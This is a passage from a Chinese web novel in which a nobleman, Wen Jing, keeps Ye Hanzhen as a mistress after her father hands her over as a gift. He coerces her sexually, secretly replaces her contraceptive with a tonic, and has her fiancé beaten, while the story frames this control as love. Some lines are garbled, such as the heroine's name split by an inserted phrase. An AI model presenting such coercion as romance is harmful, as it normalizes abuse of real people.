而这时昏迷的叶含珍,却开始断断续续说起胡话来。
“行、行松哥哥,我今日很、很开心……”
叶含珍艰难得睁开双眼,只见眼前笼罩着一层红幕。
她抬手猛然扯下盖头,却见温行松穿着新郎官的大红锦袍,正痴痴望着自己,眼角眉梢俱显呆意。
这是她与温行松的大婚之日吗?
可是,她不是被她父亲献给闻景了吗?如何会坐在这满目艳丽装饰的喜房里,与温行松行合卺礼?
“珍妹妹,该饮合卺酒了。”
温行松含着笑,将手里系了红绳的酒杯递与叶含珍手里,自己则端着红绳另外一端的酒杯,目不转睛将酒杯靠过来。
直到二人喝尽合卺酒,喜娘将两只被红绳系着的酒杯掷在床下时,才满嘴吉祥话得退了出去。
“珍妹妹怎么不开心了?可是我今日哪里做的不好,得罪了妹妹?”
叶含珍见温行松一脸担忧的模样,勉强缓和神色道,“行松哥哥,我今日很开心。”
此话一出,只见温行松笑着的脸渐渐变得模糊起来。
她伸出双手,试图去抓他的衣袖,却不料下一瞬间,浮现在她眼帘前的是闻景的脸。
“珍珍,你唤我什么?”
“啊!”
叶含珍捂着头猛然从床头惊叫着坐起,却见外间天光大亮,屋子里的烛火早就熄灭了。
这、这是哪里?叶含珍低喘着气。
雪青几人在闻景离开后便轮流守着叶含珍,给她擦汗更衣。
方才她正翻找着叶含珍的贴身衣物,却听见床榻间传来的惊呼声,便立即转身去了床前,见叶含珍满头大汗得从床上坐起,连声担忧道:“小姐!小姐!我是雪青啊小姐!”
“雪青?”
叶含珍闻言呆滞着看着满脸焦急的雪青,不敢确定道:“雪青,我们这是在哪里?”
“还有,今日是初几了?”她一把拉着雪青的衣袖问道。
雪青哪里知道叶含珍的梦境,见她问起,便回答道:“小姐,今日已经是八月十七了。”
八月十七。
八月十七。
那就是说,方才她确实不是做梦,她是真的嫁给了他。
她与温行松的婚期就定在八月十五的。
“那我们明日就能回府见爹娘和哥哥了。”叶含珍掰着指头道。
新婚三日后,新郎官会携新妇回娘家,拜见长辈。
听闻此话的雪青更加不解,只担忧道:“小姐你可算是醒了,自从那晚你被世子爷抱回来后,已经昏睡了整整两日!”
世子爷?
叶含珍蓦然睁大了双眼,随即在这屋子里环视一周后,才缩着身子朝床畔里面去。
“闻景?是闻景对不对?”
叶含珍哪里肯相信方才只是一场梦?
“怎么醒了也不好好躺着?叫我干嘛?”
叶含珍主仆二人循声望向屏风,却见闻景已经背着双手站在光影里,正飞扬着眉眼,随即便大步流星走向床头,侧坐在床畔上。
“怎么不说话?还是有哪里不舒服,要我唤大夫来替你再瞧瞧吗?”
16. 勾缠
叶含珍简直被闻景一连串的温声细语,砸得头昏脑胀。
方才是梦,现下才是真实的噩梦。
闻景见叶含珍抱着双膝靠坐在床里,便抬手往她额间一探,随即朝雪青吩咐道:“去取一套干爽的衣裳来给小姐换上,大夫说她不能受凉。”
雪青点头应下,便去寻衣裳了,临走时却被叶含珍猛然起身抓住衣袖,“雪青,别走!”
雪青见她家小姐如此畏惧闻景,只低声安抚道,“您的身子不能受凉,奴婢取了衣裳就过来伺候您更衣,很快的。”
“不!不行!你别走,别走!”
“算了,你陪她吧,我去寻衣裳。”
闻景见她害怕极了自己,也觉得无趣,起身便朝衣柜走去。
翻腾了几下,才堪堪拿着她的小衣和里衣亵裤走到床边,“给你,去给她换吧,我去外间等着。”
闻景说完只将衣物往床上一扔,便转身绕过屏风,离开了内室。
雪青满脸心疼得给叶含珍换好了衣裳,才抽泣道:“小姐,你可算是醒了!这几日您昏睡着,奴婢和青莲都担心死了!”
叶含珍听闻雪青的话,脑海里才慢慢浮现起那日在玉华楼里,闻景亲口说出的话。
她父亲将她送人了。
原来,方才当真只是一场梦。
她神情恍惚道:“雪青,我爹真的不要我了。”
不仅不要她,还亲手将她推入万劫不复的火坑。
雪青心中剧痛,连抱着叶含珍低泣道:“奴婢和青莲会一直陪着小姐的!小姐还有我们呢!”
“他是我爹,生我养我的爹,”叶含珍低低叹息道,只是眼里的泪水却簌簌划过面庞,“罢了,想这些做什么呢?他都已经不要我这个女儿了,就当我还叶家的生养之恩了。”
“只求佛祖怜悯,来世,我再也不要投胎在叶家。”
这辈子的恩情,她已经还完了。
叶罢了,珍此时想得清楚明白,她该与闻景好好谈谈了。
“别哭了,雪青,”叶罢了,珍抬起袖子擦干眼角的水珠,朝不停低泣的雪青道,”去请闻景进来,我有话要对他说。”
雪青虽不解,叶含珍到底要和闻景说什么,但她还是收住了眼泪,去请闻景。
闻景听闻雪青的话,当即从椅子上起身,疾步走向内室。
只是绕过屏风时,却见她只穿着雪白的里衣,一头乌发散在脑后,已经站在妆台前等自己。
凉爽的秋风拂过挂在床前的一道珠帘,发出清脆愉人的声音。
雪白莹润的面庞,嫣红的唇瓣,越发显得她宛如一支亭亭玉立的半开菡萏。
“听说你找我?”
闻景坦然落坐在桌案旁,饶有兴致道:“方才不是怕我怕得要命吗?怎得这会又要主动见我?不怕我了吗?”
“闻景,事已至此,我爹的事我已经无心再多问了,”叶含珍哽咽道,“我现下只想知道,你到底要折磨我多久才能放过我。”叶含珍侧过头朝闻景望去。
“折磨你?”
闻景眉眼上挑,口中却发出一声轻笑:“你觉得我是在折磨你?”
叶含珍不言,只将身子靠在系着杏色纱幔的柱子上,抓着被风晃动不止的一串珠帘。
“你是不是觉得你爹的事已经了结,我也占到了你的便宜,咱们就该两清了?嗯?”
闻景好笑得盯着她额间被风拂起的碎发,朗声道:“看来还是我对你太仁慈了,竟然会让你生出这种荒诞的想法。叶珍珍,我告诉你,你休想!当日你父亲跪在我脚畔求饶时,我就说得很清楚,我闻景要纳妾。”
“不是春风一度就可以糊弄的,”闻景收敛起笑意,沉声定定道,“否则我带你回京城做什么?”
叶含珍闻言猛然扯紧了珠帘的线,将指尖狠狠勒住。
“所以,你一直没让人给我喝避子汤,是不是就想着哪天我会大着肚子,心甘情愿得被你纳入郑国公府为妾?”
“抱歉,那你可想太多了。”
闻景听她将自己的心思猜得如此透彻,忍不住否认道:“没给你喝避子汤是我的疏忽罢了。现下看来,就凭你的身份,做妾还是太抬举了叶孝义和你,郑国公府不需要你这种心里还有别的男子的妾,你只不过最多是个外室而已,少给自己贴金!”
“既然你提起避子汤,那我就让人每日给你准备着,免得你一天胡思乱想。”
这两日里她昏睡间,他便寸步不离得守了她两日。白天黑夜,几乎都未曾合过眼睛,原本满心欢喜得盼着她早些醒来,却不料她在睡梦中,唤得仍是那人的名字。
闻景怪自己当日不该那样在唐李二人面前说她,甚至还让闻菲知道了她的境地。
但那刻从她口中喊出温行松的名字时,他恨不得将她晃醒,亲口问问她,他究竟哪里比不上他。
既然不能爱他,那就他痛时,她也陪着他痛好了。
这何尝不是另外一种心有灵犀呢?
“好好侍奉着我,别惹我不高兴,否则就算你爹的案子结了,但我还是可以将他随时送入天牢。”
叶含珍随着闻景的恶言缓缓顺着梁柱,滑落着身子。
只是那珠帘线被她勒到极致,几乎就要嵌进血肉里,“砰!”那线终究是受不住力道,猛然断裂在半空中。
随着颗颗珠子跳落在光洁的地面上,叶珍珍也彻底滑坐在地。
听着耳边珍珠在地面上弹跳的清脆声,她终于再也忍不住嚎啕大哭起来。
就这样吧,她以后再也不欠谁的。
闻景将她跌坐在地上,哭得撕心裂肺,只能强压着心头滴血般的刺痛,几步上前将人打横抱起。
叶含珍只管拼尽全力将眼泪全部倒出,这样,她以后也许能哭得少一些。
很快,闻景胸前的那块锦缎就被叶含珍的泪水湿透了。
而他却只将人抱在怀中,自己则倚靠在床栏处。
不知过了多久,闻景怀中人的哭声减弱,他低头一望,叶含珍已经浮肿的双眸里,全是自己的倒影。
“在看我?”
叶珍珍不语,只是颤抖着手慢慢解开了里衣,露出一片水粉锦缎。
她嘴角微启,声音很低:“请世子爷享用。”
不就是当个礼物吗?
她叶含珍会如父亲所愿,用这副闻景还未腻烦的身躯,去换叶家的平安顺遂。
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闻景神色猛然怔住,只见那片莹白晃眼极了,他咽了咽喉间,想解释什么,却不知该从何说起。
罢了,现下他说什么都只会让她觉得更加难堪,等她入府后,他会好好待她的。
闻景俯身将她的唇含住,气息渐渐急促起来。
秋风乍起,将地上泛黄的枯叶卷起一个漩涡,又很快将它们吹得到处都是。
宅子里的丫头小厮这些时日个个提心吊胆,见叶片落得多了,怕惹主子心烦,早早就取来了扫帚,将落叶一扫而尽。
很快青石板砌的地面,就恢复先前的平静。
而此时正房内室的床帐里,却是波涛汹涌。
叶含珍将手无力的搭在闻景的后背,只在闻景俯身时,便用指甲在他身后留下一道道抓痕。
闻景低低闷哼一声,忍着背上传来的刺痛,越发红了眼角,去吻那双绯色艳丽的唇瓣。直直将她嘤咛求饶的声音彻底吞入喉间,才肯给她口中渡过一口气息。
叶含珍得了一丝喘息,眨了眨被汗水刺挠的眼睛,欲用手臂擦去时,却被闻景用滚烫的唇吻去她额间的汗珠。
“闭上眼,一会就好了。”
闻景耐着性子,不停低喘道。
而他头上的汗水,则顺着颌角,一滴一滴晕湿身下的褥子。
屋里早就烧了地垄,点了熏笼,和外间萧瑟寒意,不是一个世界。
叶珍珍早在入秋时就已经受了两场风寒,闻景就让人在还未落雪时,就安置好了暖阁。
如今,他们的卧房早就搬到了暖气和煦的暖阁里。
闻景吃饱喝足后,才将已经没有一丝力气的叶含珍搂在怀里。下颌放在她发顶,浅浅呼吸间,全是她汗湿乌发里散发出来的清甜味道。
两颗心只隔着血肉,彼此间都能听清对方的心跳。
叶含珍累得手指都动弹不得,只虚虚闭着眼睛,也不知到底睡着了没。
“快下雪了,这几日天都阴着,你要多穿点,”闻景滚了滚喉头,轻声叮嘱着半昏半睡的叶含珍,他捏了捏她胳膊上柔软的肌肤,“去园子里逛时,要披上披风。”
像是扰了她的好梦,只觉小腿处被人踢了一脚。
“闻景,你若是尽兴了,就滚吧,我今日累了,不伺候了!”
“哪里累?我给你捏捏就好了。”
闻景越发肆意得在莹润的肌肤上游走,只时不时捏捏,掩饰着自己的狼子野心。
他闭上眼,慢慢回想着自中秋后的这段时日里,怀中人的变化。
自那日他出言伤害她之后,她便如换了一个人般,不仅不会像以前那般抗拒他,还会时不时得勾缠着他。
若不是这里是他名下的私宅,里面的仆从都是他亲自挑选出来的,闻景几乎要怀疑叶含珍被人掉了包。
可惜,在叶含珍眼里,她不过是觉得自己已经陷在泥淖里,又何妨顺着些闻景的兽意,这样自己也可以早些让闻景厌了自己。
当然,只是这些还不够。她得再做些什么,让闻景更快烦腻了自己。
至于离开闻景以后,她也不会再回临州。
“珍珍,你方才说想去京郊的宝光寺进香?”
17. 表兄弟
“唔……是,我方才是说过,”叶含珍勉强撑开眼皮,翻了个身,背对着闻景,“你同意吗?”
一具滚烫的身躯贴在她后背,只听耳后传来一阵低笑。
闻景呼出一口气,笑道:“同意,哪里敢违背珍珍的意思?不过就是去上个香,又不是要逃跑,我哪里会不同意?”
“只是年下事多,我不一定能陪你去,你一个人去行吗?要不等天气暖和点,我再抽空陪你去?”
“明明出门有那么多丫头小厮跟着,哪里就是我一个人去了?闻景,你不答应就算了,反正我也没想过你会答应。”
闻景简直被叶含珍这娇嗔的语气逗笑了。
他在她耳后亲了亲,随即认真道:“好,我答应,你明日就可以带着人去宝光寺散散心,不过要记得多穿些,还有—”
“你好唠叨啊!”
闻景的话被叶珍珍的抱怨打断,只气得咬了咬她圆润可爱的耳垂,愤愤道:“竟敢嫌我唠叨!那前段时间哭着说难受的人是我不成?京里本就比临州冷,且短短一个多月,你就风寒了两次,你若是再得了风寒,这个冬天就别想再出门玩了!”
叶珍珍一时语塞,静默片刻后才回应道:“我会让青莲寻个最厚的披风给我披上,这样就不会风寒了。”
上两次风寒,其实是她故意穿的少了去园子里瞎逛的。
也就是说,叶珍珍是故意要让自己得风寒的,究其原因,无非是闻景答应的避子汤一直都没有送来。
问起闻景,他也只推说快了,然后两人又要吵架。
用些祛风寒的虎狼之药,也可以避免受孕。
闻景见她如此乖巧,不由抱在温香软玉道:“前几日,我让人送来的衣物和皮料你可喜欢?若是不喜欢,我再人重新送来,让你好好挑选几件,免得说我克扣了你。”
“还行,不用再送了,我穿不了那么多。”
“好吧,那就过段时间,在给你做几条新裙子。”
闻景很喜欢如今两人能和和气气商量日常琐事的气氛,这对于他而言,这就像他母亲和他父亲从前恩爱的模样。
从纷乱的思绪抽身出来,却听闻耳畔传来她匀速沉静的呼吸声,闻景闭着眼吻了吻她耳廓,才给人盖好被子,起身离开。
这几日朝堂里动荡的厉害,太子那一派的人似乎是抓住了沈俞风的什么错处,这几日正争吵不休呢。
连他,也时不时被皇帝留宿在宫里伴驾。
只能趁着下了朝后,处理完兵部的琐事,才来梨花巷陪她一会。
玉泉早在闻景关上身后的门时,便给他披上了鹤氅。
“走吧,沈俞风的人要等急了。”
玉泉默默跟在自家主子身后,想起那位替六皇子跑腿的宫侍,忍不住抽了抽额角。
冰天雪地里,能将人晾个快一个时辰,也只有他主子敢这样。
闻景大步流星顺游廊走着,直到看见前厅里冷得直往手里呵气的宫侍时,才厉声道:“怎么招待天使的?竟连个炭盆也不给!”
“小的见过世子爷,”那宫侍行礼道,“禀世子爷,府上的人给奴才准备了炭盆和热茶,并未冷落奴才,只是奴才焦心主子的事,这才急得在这里走来走去。”
“公公不必替他们遮掩,待本世子见过六皇子后,才回来慢慢收拾这一群刁奴!”
闻景冷着脸沉声道,“听说六皇子寻臣?不巧臣午间吃了药,所以睡得沉了些,让公公久等了,既然六皇子还等着臣去见他,不如请公公带路吧。”
宫侍自然知道主子的事有多急,当即点头道,“那就请世子爷随奴才走一趟吧。”
华安殿里,沈俞风满脸怒气得将手的折子扔的老远,直到那折子撞击在花瓶上,将那花瓶摔个粉碎。
怒气将他原本俊秀的脸变得有些扭曲。
他抬眼朝跪在地上瑟瑟发抖的宫侍,大吼道:“去请闻景的人死哪了去了?啊?都这么久了,怎么还连个鬼影子都没有看到?”
只是他话刚落音,却听见门口传来动静,不由转头望去。
却见闻景已经解下鹤氅,徐徐朝他走来。
“臣闻景,见过六皇子殿下,愿殿下万福金安!”
“表哥来了!”
沈俞风立即换了一副神色,几步绕过书案,将拱手行礼的闻景一把扶起。
“这些狗奴才越发不会当差了!连表哥来了,都不向本殿下通传一声,让表哥在风口里久站了。”
“还请殿下勿要怪罪,是臣午睡起得迟了,见传旨的内侍公公急得满头大汗,便顾不得让人通传一声,擅自进了华安殿。”
沈俞风还指望着闻景帮他这一次呢,哪里会计较这种小事?
当即收敛了面上的怒气,又恢复了往常风度翩翩的模样,干笑道:“表哥为朝廷操劳,今日能来我这殿里,是看得起我沈俞风,我怎么会和表哥计较这些?”
“快坐下喝口热茶吧,”沈俞风见殿里伺候的内侍,已经端了热茶放在闻景手边的案几上,殷切道,“待身子暖和些,咱们再聊正事。”
闻景恭敬不如从命,将茶盏送至唇边饮了两口,才一边放下茶盏,徐徐道:“不知六皇子如此着急让人唤臣来,是有什么事要商量?”
他母亲是当今皇帝的堂妹,再加上沈俞风的生母,柳贵妃是他已逝祖母的亲戚,所以自小时,沈俞风便唤他表哥。
只是,闻景却从未逾越身份,唤沈俞风为表弟。
其实以他母亲舜华郡主的身份,这辈的皇子里,都是他的表兄弟。不过,他郑国公府虽是皇亲,但并未站队任何一派。
所以,还是不要叫得让人误会的好。
“既然表哥问了,那我也就不隐瞒了,”沈俞风直率道,“其实还是为了太子那边紧咬的事!”
“哦,这事不是前段时间的早朝上,皇上下令让大理寺去彻查吗?”
闻景瞧着沈俞风渐渐涨红了的脸,故作不解道:“莫非殿下是怕有人会借此机会,排除异己,所以才急急召臣来想办法吗?可是我记得大理寺的江华楠是个老古董,不
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是太子那一派的人。”
“唉!”
沈俞风听闻这话后,便重重叹了口气,随即恨铁不成钢道:“若是像表哥说得那样,我又怎么好劳动你跑这一趟?”
“表哥还不知吧?张春已经被大理寺的江寺卿下了狱!”
沈俞风扶额道,“正是因为江华楠那个老家伙油盐不进,在取得人证物证后,便不顾本殿下的情面,将张春押在了天牢。”
他揉了揉额角,朝闻景叹息:“我今日请表哥来,就是想请表哥走一趟江府,替我向江华楠美言几句。那张春是我手里得用的人,若是不护着些,我怕他也会、也会拖累我。毕竟,谁人不知张春是我向父皇一力举荐的人?”
“我听方才殿下的意思,难不成还敢攀咬殿下?”
闻景早就猜到没有沈俞风的点头,张春哪有胆子,敢在京城里犯下这种恶行?
如今见他这副心神不宁的样子,闻景不由怀疑柳贵妃到底是如何教养儿子的。
堂堂皇子,不为百姓做些事,倒让人手下掌管刑狱的人胡作非为,简直让人不耻!
“……他、他倒是不敢攀咬本殿下!”
沈俞风心虚道,“只是他终究是我一力向父皇推荐的人,若是此事坐实了,我怕是也要跟着吃挂落。”
今日早朝后,父皇就召了他去御书房问及此事,他咬牙只道自己不知,才堪堪躲过一劫。
只是,这事由江华楠接手,他怕受不住刑,将他也供了出来,那就大事不妙了。
谁知道太子那边有多少双眼睛瞧着华安殿?
“六皇子想我怎么帮你?”
沈俞风没想到闻景会如此痛快,当即道:“我知江华楠很是欣赏表哥,求表哥亲自出马,让江华楠别再深究此事了。”
“殿下的意思是,给张春安个罪名,抄家流放即可,要保住他的性命?”
闻景凝视着沈俞风闪着期盼的眼神,悠悠开口道:“我可以替殿下跑一趟,但江寺卿能不能买我的面子,我就不敢保证了。若是殿下觉得可行,我过几日便上江府走一趟。”
闻景已经应下此事,沈俞风已经谢天谢地,哪里敢再让他保证什么。
“那就多谢表哥了!”
沈俞风端起茶盏,朝闻景忙不迭道:“我今日便以薄茶谢表哥的恩情,改日,一定请表哥喝一场!”
“臣谢殿下的美意。”
闻景也起身端着茶盏朝沈俞风回敬道。
待饮下茶水后,闻景才又落座。
沈俞风此时心情大好得瞧着坐在椅子上的闻景,热情道:“还有一事怕是表哥还不知吧?”
他眼里闪着精光,笑着道,“前几日舜华姑姑进了宫去见父皇,然后又从御书房出来,去了我母妃那里。”
小内侍才给闻景添了茶水退下,闻景便拿着茶盖慢慢刮着浮沫。
只是听沈俞风这么幸灾乐祸的声音,他就知道肯定不是什么好事,仍一边耐心刮着茶沫,一边道:“不知我母亲到底同贵妃娘娘说了些什么?”
18. 是礼物也没关系
沈俞风见他还是这般从容,不由泄气道:“舜华姑姑给我母妃说,要借菱花庄办一场梅花宴,遍邀京中各家官宦子弟与闺阁女眷。”
“那皇上是什么意思?”
皇帝前些日子还问自己有没有心上人,若是有便可给他指婚。如今,他母亲亲自出马,也不知皇帝会不会同意。
“应当是准了!”
沈俞风又补充道,“想来舜华姑姑应该是先求了父皇的允许,才来与母妃商议借地方的事。”
虽说舜华郡主也是皇亲,但菱花庄不是一般的皇庄,乃是先皇后白氏身前最喜欢的别庄,必须得经过皇帝的点头才行。
“我母亲她办她的梅花宴,我上我的衙门,关我何事?”
闻景见沫子已经没有了,便松开盖子,任由盖子合上茶盏。
沈俞风见闻景仍无动于衷,不得不操心道:“你从临州带回来的美人如今怎么样了?可还听话?”
“回京前,人家的未婚夫都闹到我面前来了,你还是不愿意放人,闻景,你到底还要留她在梨花巷里住多久?我可先告诉你啊,她哥哥叶劲不久就要回京述职,以叶劲这几年的政绩,再加上他本是正经科举出身的进士,怕是至少要做个五品散官的位子!”
闻景被沈俞风这么一提醒,脑海蓦然浮现出那日温行松追着马车的模样,咬牙道:“六皇子还是操心操心吧!毕竟,这里不是临州,是京城,她的事,由我来操心就行了!”
沈俞风见闻景变了脸色,当即尴尬了神色,失笑道:“表哥别生气,我那日不也劝过那呆子别闹腾了吗?你是我表哥,我自然是向着你的,方才不过是我随口提了提,你别放在心上。”
“六皇子还有其他事吗?“闻景冷峻道,“若是没有别的事,臣就告退了。”
“没事了!没事了!天寒地冻,表哥还是早些回去吧!”
闻景低头朝沈俞风拱了拱手,便转身大步离开了华安殿。
天色比先前更加阴沉了。
灰蒙蒙的厚云将天空罩住,还时不时得卷起朔风,吹得街上的百姓忍不住缩了缩肩膀,只朝手里呼着热气,急急忙忙朝家走去。
雪花落在骑在马背上的闻景脸上,很快就化成了水痕。
临州驿馆。
“下官温行松见过六皇子殿下,殿下千岁千千岁!”
“温行松?”沈俞风疑惑道。
“启禀六皇子,下官是临州长渡县令温行松,今日前来官驿拜见殿下,是因下官有一事要求殿下做主。”
“温大人,你究竟有什么事,需要本殿下做主?”
沈俞风瞧着温行松红着眼眶,不由好奇起来他有什么事不去找叶孝义,却而跑来见他。
温行松虽知道沈俞风与那人的关系,但他还是想试一试。
“回六皇子,下官的未婚妻被、被闻世子扣在手中,下官今日来求见殿下,就是想求殿下开口,让闻世子放人!”
“哦,还有这等事?”
沈俞风说着话,眼睛却飘向一旁面色如常的闻景。
“温大人此话差矣,”闻景徐徐道,“我手里是有个美人不假,只是我听闻温大人前几日才解除了婚事,不知温大人哪里又来个未婚妻?”
“你!”
温行松一改往常温和模样,只抬头狠狠盯着闻景,咬牙发狠道:“明明就是闻世子你夺人未婚妻在前,如今却反咬下官解除了婚事!”
“下官也想知道,闻世子手里的美人究竟是谁,不如世子将人请出来问问,她到底是不是我的未婚妻叶含珍!”
“可笑!”
闻景轻嗤道:“我的人也是你想见就见的?别做梦了!趁着我现下心情还不错,赶紧滚出去,不然,就别怪我下手没有轻重!”
温行松被闻景的无赖气得浑身发抖,他声泪俱下道:“求世子高抬贵手放了珍珍吧!下官愿意替世子做任何事!”
闻景看都不看他一眼,只断然起身朝外走去,“来人!将此人拖出去,不准他再踏入官驿一步,否则当场格杀!”
温行松很快就被侍卫拖了出去。
连沈俞风见了地上的血,也忍不住朝怒气未消的闻景道:“表哥,你砸破了他的头,会不会被叶小姐知道?”
闻景收用刺史府小姐的事,他早在庆功宴后,就已经听说了。
只是闻景早年间不亲近女子的事他也知道,他并不轻信这些流言。直到他亲眼看见闻景下颌的咬痕,才不得不相信一切都是真的。
闻景转头瞧了他一眼,便轻笑道:“知道又如何?如今,她已经是我的人,明日我会安排人送她先行回京。”
至于他,自然是和沈俞风一起回京复命。
沈俞风见闻景已经亲口承认,不由倒吸一口凉气,才满面笑容道:“恭喜表哥喜得美人!”
随即又感概道,“这下舜华姑姑应该会放心了。”
只是闻景让人送装着美人的马车出城时,让人拦住了温行松那厮。至于是怎么拦下的,自然是闻景下令让人打断他的腿,让他只能爬着去追马车。
闻景想得出神,待听见身后的玉风唤他时,马儿早就停在了梨花巷的府门外。
“走,进去。”
闻景翻身下马,将缰绳一扔,便大步朝门口走去。
待小丫头打起帘子时,闻景站在外间,一边解着披风,一边听着内室传来的声响。
“雪青,我的药呢?还没好吗?”
“小姐才醒,不宜喝药,还是等吃过晚膳后再喝药吧。”雪青手里给叶含珍梳着头发,口中不停劝道。
叶含珍手指在妆台上滑过,拈起一只蝴蝶流苏簪子道:“这个好看,给我戴这支吧!”
“好!”
雪青冷不防被人拍了拍肩膀,吓得回头一看,只见闻景将食指竖在唇边,又朝她挥了挥手。
雪青悄悄退出后,闻景便站在方才她站的地方,接过了叶含珍手里的簪子,在她梳好的乌发寻找着合适的位置。
却瞥见叶含珍停下摆弄首饰的动作,抱怨道:“雪青,你怎么还没给我戴好?我肚子都饿了!”
“早点吃完晚膳,我也好早点喝避子汤,免得闻景回来了,又折腾我!”
叶含珍低着头没看见镜中身后,闻景几乎要暴起的神色,仍扳着洁白细柔的指头,算起她上次来癸水的日子。
“噔!”
闻景手里那支蝴蝶流苏簪子从手里滑落,直直跌坏了蝴蝶的翅膀。那流苏上的珠子也随之散落满地,发出滴滴答答的清脆声。
这一声也惊到了叶含珍。
她身子颤了一下,随即转头道:“雪青,你—”
剩下的话,皆在看清身后的男子时,尽数消散在喉间。
“就这么喜欢我给你准备的避子汤吗?”
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>闻景怒极反笑,“早晨起身时就已经喝过一次,不过就是午间缠着你来了两次,你就又要喝一次吗?你当那玩意儿是什么?解渴的茶水吗?”
叶含珍也不知闻景究竟是何时站在自己身后的,只在瞧见闻景时,便欲起身离开。
却不料闻景的双手将她的肩膀按住。
“跑什么?嗯?”
闻景慢悠悠得说完,便似笑非笑侧目瞧着叶珍珍握紧的手,一手去掰她嵌在掌心的指尖,“不疼吗?叶含珍。”
眼前洁白温凉的手心里,正印着几个甲印,已经开始渗血了。
想来另一只手的手心里也是如此。
不过是多喝碗避子汤,用得着如此疾言厉色吗?
叶含珍被闻景按在凳子上,下颌也被他强迫抬起。
只见他眼眸里倒映的娇媚女子,让叶含珍有些恍惚。
这就是如今的她吗?
只几息,叶含珍便清醒般朝面色不善的闻景,眨了眨杏眼。
“若是世子爷愿意少碰我几次,那我也不必时时忧心。”
“忧心什么?”
叶含珍闻言,倏忽大笑起来,连身子都开始不停地抖动。
直到笑声散去,她才满眼含泪叹息道:“自然是忧心世子爷还未娶妻,我就怀上你的孽种,影响世子爷相看佳人!”
“我是我父亲献给你的礼物不假,也可以做好百般讨好你的外室,可是,”叶含珍颤着嗓音徐徐道,“我却不能生下无名无份的孽种。”
“……尤其是,是你的孽种!”
她尖锐锋利的话,缓缓划破闻景内心里最柔软的地方。
瞬间让原本怒气冲天的闻景几乎站不稳脚。
“无名无份?”
闻景闭上眼,狠狠在鼻间呼出一口闷气,才睁眼反问道,“若是有名有份,你就愿意生?”
他话还未落音,叶含珍想都不想,当即就扬起手朝闻景脸上扇去。
“啪!”
原本寂静的房间里,只能听见火盆偶尔传来的炭火开裂声。
只是,却被这一声清脆的巴掌声刺破。
“哈哈哈哈!哈哈哈哈!”
闻景慢慢转过被她扇偏的头,凝视着怒目圆睁的叶含珍,猛然爆发出一声大笑。
他松开按在叶含珍肩膀上的双手,颤着脚往后退了几步。
叶含珍见他挨了巴掌,还笑得如此癫狂,只觉得这人当真是疯魔。
“叶含珍,我就知道,我就知道你心里根本就没有我!我是强占了你,可我闻景从未有不认账的心思,不过是……不过是……”
不过是什么?
闻景哑声。
不过是自第一次遇见她时,便心动。
他忘不了她紧张那只锦斓绣球的模样。只可惜,那绣球是温行松送给她的。
他送她的衣料首饰,珠宝玩器,也从未见过她再有过那样的神情。
如今没有娶她,将她安置在梨花巷,也只是因为她父亲才受了罚,不好立即去提亲。
闻景退着身子,跌坐在一侧的罗汉榻边上。
他垂下头,额前散落一丝碎发在面庞扫过。‘
“不喜欢就不喜欢吧,避子汤你想喝多少就喝多少,我都随你。”
反正,那本就只是调理身体的补药,根本就不是什么避子汤!
他会如愿以偿的。
19. 沈俞静
闻景暗自捏着一双拳头抵在膝上,指间关节微微扭动。
叶含珍少见他被自己说得哑口无声的模样,尤其是他左侧面上还挂着几抹有些滑稽的红痕。
她缓缓起身,径直走向外间,却在行至屏风处,被人从身后抱住。
闻景将头低下,轻轻贴在她温热的面庞上。
“明日,我得去大理寺卿江华楠的府上一趟,不能陪你去宝光寺散心,”闻景压低气息道,鼻间呼出的热气扫过叶含珍耳后的碎发,“我会让玉风带着人,护送你去,至于随身的侍女,白枝和青渚一定要带上,其他随便你。”
白枝和青渚会武,是他亲自选给叶含珍的侍女。
不过,他不打算这么早就告诉她。
“宝光寺后山的腊梅,想来已经开了。你可以上完香去瞧瞧,若是喜欢,便折几支回来插瓶。”闻景细细交代道。
中秋那夜,本也是想带她出门赏灯游玩,只是没想到会被他彻底搞砸。
叶含珍隔着衣料,感受着身后人胸膛里的跳动。
她还以为方才自己和闻景吵一架后,他会反悔她去上香的事。
“闻景,你不在,我的心情就已经足够好。”
闻景呼吸一滞,随即轻笑起来:“等我办完事,就来接你。”
翌日清晨,待第一抹曦光照进暖阁的窗棂缝,洒落在地面时,叶含珍还在床间,还抱着软被熟睡着。
原本一张莹白小脸,被热气烘得红润润的,连嘴角也微微翘起,不知在做什么好梦。
闻景早就在寅时初就起了身。
此刻,正站在皇宫的太和殿里,看着身边的同僚们为张春一案,争得面红耳赤。
而龙椅上的皇帝,则只静静瞧着站在陛阶下的太子沈俞静,与六皇子沈俞风。
闻景在昨日已经应下了沈俞风,要帮他这一次,只是还未来得及去见江华楠,就被这个老狐狸上奏给了皇帝。
这下,此事就有些棘手了。
“够了,都住口!”
皇帝瞧着沈俞风脸上虚心的模样,便知张春一事,江华楠没有冤枉人。只是可笑的是,还有人为他据理力争。
若不是看在不愿太子一派独大,他哪里会费尽心思去抬举老六?
“江爱卿,张春所犯之事,按照大齐律令,应该如何处置?”
江华楠向前一步,单膝跪下道:“启禀皇上,按照我大齐律令,张春应施以腰斩,其下犯事的属从也应当诛!至于,张府其他人,则应流徙八百里。只是—”
“只是什么?”
江华楠抬头望了一眼已经慌乱不已的沈俞风,才低头接着道:“只是,臣查了张府的账簿,发现张春通过各种暴戾手段得来的巨额银两,与所抄张府里的实得数目不符,想来张春身后应该还有人暗中主使,那人几乎占据了所有不法所得的八成财物。臣以为,此案还需再详查一番,才对得起陛下对臣的嘱托!”
“启禀父皇,儿臣也看过从张春府上搜出的账册,其中的数目确实与实际从张府里抄得的财物,相差甚大。”
太子沈俞静也开口道。
如今他已开始入内阁听政,很多事也逐渐经他的手。
皇帝眯起眼睛,朝太子沈俞静道:“哦,太子也看过账目了?那究竟是差多少?”
沈俞静见皇帝问他,只低头徐徐回道,“……差十七万两白银。”
这话一出,整个大殿里便越发鸦雀无声了。
连闻景都睁开了双眼,望向几乎两股战战的沈俞风。
要知道大齐一年税收下来,也才不到四百万两银子。区区一个刑部侍郎,就能凭着各种见不得光的手段,弄到二十多万两,这不是扇皇帝的脸吗?
皇帝被太子吐出的数目,气得声音都战栗起来。
“查!给朕好好查!朕也想知道到底有那位高人可以护着张春,可以私吞这些民脂民膏!”
皇帝气得从龙椅上站起来,双手撑在案上,“江华楠,传朕的旨意,张春一日不开口说出这笔银子的下落,这案子就一日不结!还有,将张府年岁十五以上的男子问斩,十五岁以下的男子流徙至西北,女眷则全部没入教坊司,不死不得出!”
“臣,江华楠领旨!”
皇帝发过这一通火气,也没了心思再听朝臣们进言,只挥了挥衣袖,指着太子道:“众卿若还有事,就禀告给太子与内阁吧。”
